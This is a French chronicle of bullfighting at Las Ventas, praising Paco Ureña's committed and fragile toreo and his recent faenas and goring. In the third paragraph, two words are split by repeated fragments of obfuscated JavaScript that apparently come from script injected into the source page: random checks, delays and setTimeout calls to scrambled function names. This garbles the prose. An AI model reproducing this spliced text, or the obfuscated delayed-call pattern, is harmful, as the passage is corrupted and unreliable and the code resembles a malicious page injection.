ROMANCE DE LA VAILLANCE

La raison de l’amour est inaccessible à la raison. Vaincue, la logique déploie ses drapeaux face à la force considérable des sentiments. Ainsi cela fut et continuera de l’être tant qu’un poème amoureux nouera les vies et les baisers bruleront à petit feu dans les alcôves de la liberté. Las Ventas, comme arène et femme, se sent parfois amoureuse et s’adonne à un torero. Les motifs n’importent pas.

On s’en moque si parfois cela conduit à l’incohérence, comme cela s’est produit pendant cette feria avec Ponce, à qui l’on permet de se placer dans une situation à son avantage dans le cou des toros pour enchaîner ensuite avec une passe à moindre risque ou d’appeler bien à l’écart le toro sans que le Saint Office du sitio arbore ses dogmes inquisitoires et le condamne au feu éternel de ses palmas de tango. C’est peut-être du fait d’une longue relation.

Parfois, au contraire, il se situe aux antipodes des situations avantageuses et se laisse séduire par la pureté, par l’engagement sincère d’un homme vêtu de lumières qui offre sa vie sans tricherie cherchant à se livrer entièrement à la pleine satisfaction de son art. C’est le cas, ni plus ni moins, de Paco Ureña.

L’arène était émue, admirative, frissonnante et rendue folle, lors de la dernière feria d’automne, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il se sublima avec « Murciano », le toro d’Adolfo Martín, dans celle qui fut sans doute la plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena de la saison. Il revint le 11 mai dernier, avec la corrida de El Torero et il coupa une oreille. Il reçut une cornade à Vic-Fezensac six jours avant son retour à Madrid : une coup de corne interne dans la fesse droite dont il ne voulut pas se faire opérer pour pouvoir faire le paseo à Las Ventas dimanche dernier. Et là, Las Ventas lui a livré son amour inconditionnel dès le premier instant ; même s’il est vrai que voir Ureña avancer sa poitrine face aux toros, les conduire attachés à la brise de ses sensations avec une lenteur captivante jusqu’à la fin de la passe, avec la main très basse, derrière la ceinture, ne peut que séduire. En plus, Ureña, qui orne son visage de gestes, lumières et ombres évocateurs d’une enfance malheureuse (même si je ne sais ce que fut la sienne), touche notre fibre sensible avec sa fragilité. Car même s’il est ferme, osé, vaillant et sûr de tout de ce qu’il fait, tout se déroule dans une atmosphère instable, incertaine. Son toreo est comme une très belle pièce en porcelaine fine, avec ce risque permanent de se briser en mille morceaux. Cette fois, devant son dernier adversaire –dont il couperait une oreille d’amour plus que d’autre chose- on l’a vu exposer sa dernière leçon de parfaite imperfection. Cela le rend humain, faisant revenir sur terre cette même personne qui quelques instants auparavant avait été capable de nous propulser dans l’espace en exécutant quatre naturelles de rêve avec une cadence, un temple, une limpidité et une longueur qui ne se reproduiraient plus durant la faena.

La fragilité qui est la sienne, la parfaite imperfection de son toreo, le rendant plus humain, le rendent plus attachant. L’arène s’est livrée à lui comme une amoureuse, mais veut aussi le protéger comme le ferait une mère. Pendant ce temps, lui poursuit sa romance de vaillance en se jouant la peau dans tout ce qu’il entreprend, et sa pureté, celle qu’il reflète avec sa muleta et l’épée à la main, illumine avec la clarté de cent soleils et marque d’évidentes différences avec le « toreo caché » si habituel de nos jours.

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